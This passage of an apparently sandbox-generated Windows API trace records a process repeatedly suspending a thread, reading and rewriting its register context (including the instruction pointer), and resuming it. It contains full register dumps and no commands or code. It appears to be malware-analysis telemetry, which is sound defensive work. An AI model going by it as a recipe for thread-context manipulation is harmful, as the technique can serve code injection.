[150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0110.177] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b01c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0110.178] ResumeThread (hThread=0xd8) returned 0x1 [0110.178] CloseHandle (hObject=0xd8) returned 1 [0110.199] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.282] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.415] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.416] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.440] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.544] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.673] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0110.673] SuspendThread (hThread=0xd8) returned 0x0 [0110.674] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b01c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f851000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0110.717] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b01c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0110.717] ResumeThread (hThread=0xd8) returned 0x1 [0110.717] CloseHandle (hObject=0xd8) returned 1 [0110.717] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.719] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.826] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0110.937] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0110.937] SuspendThread (hThread=0xd8) returned 0x0 [0110.937] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000aff98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f72da40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0110.938] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000aff90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, 